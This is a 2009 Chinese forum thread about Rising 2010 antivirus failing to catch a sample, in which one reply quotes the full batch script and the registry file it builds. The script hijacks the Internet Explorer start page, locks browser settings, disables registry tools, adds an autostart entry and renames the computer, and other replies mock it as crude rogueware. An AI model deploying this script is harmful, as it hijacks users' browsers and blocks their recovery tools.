1   1  /  1  页   跳转

[RAV] 关于瑞星2010查毒问题

关于瑞星2010查毒问题

该用户帖子内容已被屏蔽

附件附件:

下载次数:208
文件类型:image/pjpeg
文件大小:
上传时间:2009-7-4 7:02:58
描述:扫描结果图

最后编辑瑞星工程师20 最后编辑于 2009-07-04 09:06:28
分享到:
gototop
 

回复:【看看大笨蛋瑞星2010!,根本不管用!】

这样的垃圾毒还需要解决方案...无语,都不知道那些评论怎么来的...

释放文件:
%temp%\?.bat
%temp%DefOpen.reg
bat内容如下


引用:
@shift
@ECHO OFF
> "%Temp%.\DefOpen.reg" ECHO Windows Registry Editor Version 5.00
>>"%Temp%.\DefOpen.reg" ECHO.
>>"%Temp%.\DefOpen.reg" ECHO [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main]
>>"%Temp%.\DefOpen.reg" ECHO "Start Page"="http://805753077.qzone.qq.com"
>>"%Temp%.\DefOpen.reg" ECHO.
>>"%Temp%.\DefOpen.reg" ECHO [HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main]
>>"%Temp%.\DefOpen.reg" ECHO "Start Page"="http://805753077.qzone.qq.com"
>>"%Temp%.\DefOpen.reg" ECHO.
>>"%Temp%.\DefOpen.reg" ECHO [HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel]
>>"%Temp%.\DefOpen.reg" ECHO "Settings"=dword:1
>>"%Temp%.\DefOpen.reg" ECHO.
>>"%Temp%.\DefOpen.reg" ECHO [HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel]
>>"%Temp%.\DefOpen.reg" ECHO "homepage"=dword:1
>>"%Temp%.\DefOpen.reg" ECHO.
>>"%Temp%.\DefOpen.reg" ECHO [HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel]
>>"%Temp%.\DefOpen.reg" ECHO "Links"=dword:1
>>"%Temp%.\DefOpen.reg" ECHO.
>>"%Temp%.\DefOpen.reg" ECHO [HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel]
>>"%Temp%.\DefOpen.reg" ECHO "SecAddSites"=dword:1
>>"%Temp%.\DefOpen.reg" ECHO.
>>"%Temp%.\DefOpen.reg" ECHO [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System]
>>"%Temp%.\DefOpen.reg" ECHO "DisableRegistryTools"=dword:00000001
>>"%Temp%.\DefOpen.reg" ECHO.
>>"%Temp%.\DefOpen.reg" ECHO [HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main]
>>"%Temp%.\DefOpen.reg" ECHO "Window Title"="http://805753077.qzone.qq.com"
>>"%Temp%.\DefOpen.reg" ECHO.
>>"%Temp%.\DefOpen.reg" ECHO [HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main]
>>"%Temp%.\DefOpen.reg" ECHO "Window Title"="http://www.lhz168.cn"
>>"%Temp%.\DefOpen.reg" ECHO.
>>"%Temp%.\DefOpen.reg" ECHO [HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\MenuExt]
>>"%Temp%.\DefOpen.reg" ECHO.
>>"%Temp%.\DefOpen.reg" ECHO [HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\MenuExt\? ?]
>>"%Temp%.\DefOpen.reg" ECHO @="http://www.lhz168.cn"
>>"%Temp%.\DefOpen.reg" ECHO.
>>"%Temp%.\DefOpen.reg" ECHO [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
>>"%Temp%.\DefOpen.reg" ECHO "??"="C:\Program Files\Internet Explorer\IEXPLORE.EXE"
>>"%Temp%.\DefOpen.reg" ECHO.
>>"%Temp%.\DefOpen.reg" ECHO.
>>"%Temp%.\DefOpen.reg" ECHO.
>>"%Temp%.\DefOpen.reg" ECHO [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\ComputerName\ComputerName]
>>"%Temp%.\DefOpen.reg" ECHO "ComputerName"="瑞星是个大白痴"
>>"%Temp%.\DefOpen.reg" ECHO.
>>"%Temp%.\DefOpen.reg" ECHO [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters]
>>"%Temp%.\DefOpen.reg" ECHO "NV Hostname"="瑞星是个大笨蛋"
>>"%Temp%.\DefOpen.reg" ECHO "Hostname"="瑞星是个大笨蛋"
>>"%Temp%.\DefOpen.reg" ECHO.
>>"%Temp%.\DefOpen.reg" ECHO [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName]
>>"%Temp%.\DefOpen.reg" ECHO "ComputerName"="http://www.lhz168.cn"
>>"%Temp%.\DefOpen.reg" ECHO.
>>"%Temp%.\DefOpen.reg" ECHO [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters]
>>"%Temp%.\DefOpen.reg" ECHO "NV Hostname"="瑞星都没办法?"
>>"%Temp%.\DefOpen.reg" ECHO "Hostname"="小沈阳:为什么呢?"
>>"%Temp%.\DefOpen.reg" ECHO.
>>"%Temp%.\DefOpen.reg" ECHO.
>>"%Temp%.\DefOpen.reg" ECHO.
>>"%Temp%.\DefOpen.reg" ECHO.
>>"%Temp%.\DefOpen.reg" ECHO.
START /WAIT REGEDIT /S "%Temp%.\DefOpen.reg"
DEL "%Temp%.\DefOpen.reg"

由bat内容生成的*.reg内容如下


引用:
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main]
"Start Page"="http://805753077.qzone.qq.com"

[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main]
"Start Page"="http://805753077.qzone.qq.com"

[HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel]
"Settings"=dword:1

[HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel]
"homepage"=dword:1

[HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel]
"Links"=dword:1

[HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel]
"SecAddSites"=dword:1

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System]
"DisableRegistryTools"=dword:00000001

[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main]
"Window Title"="http://805753077.qzone.qq.com"

[HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main]
"Window Title"="http://www.lhz168.cn"

[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\MenuExt]

[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\MenuExt\? ?]
@="http://www.lhz168.cn"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"??"="C:\Program Files\Internet Explorer\IEXPLORE.EXE"



[HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\ComputerName\ComputerName]
"ComputerName"="瑞星是个大白痴"

[HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters]
"NV Hostname"="瑞星是个大笨蛋"
"Hostname"="瑞星是个大笨蛋"

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName]
"ComputerName"="http://www.lhz168.cn"

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters]
"NV Hostname"="瑞星都没办法?"
"Hostname"="小沈阳:为什么呢?"



CA HIPS监控此毒图



嗯?
这些动作都去哪呢?


引用:
2.HOST文件自动篡改——有吗?
3.开机自动启动某个小程序。。。——某个?指IE吧
4.添加IE右键“精彩世界你我共享”——我就看见“??”...
................
最后编辑smallyou93 最后编辑于 2009-07-04 08:06:25
gototop
 

回复:【看看大笨蛋瑞星2010!,根本不管用!】

这样的破毒还要上网本还让工程师联系你?
井底之蛙
您是不是未成年?
gototop
 

回复:【看看大笨蛋瑞星2010!,根本不管用!】

此文件不应该算病毒

只是一个彻彻底底的流氓
gototop
 

真是没什么好说的了


gototop
 

回复:【看看大笨蛋瑞星2010!,根本不管用!】

一挫到底的批处理 ,这也是做病毒的?

我在你的批处理每行加个-,那我就是做杀软的了
gototop
 
1   1  /  1  页   跳转
页面顶部
Powered by Discuz!NT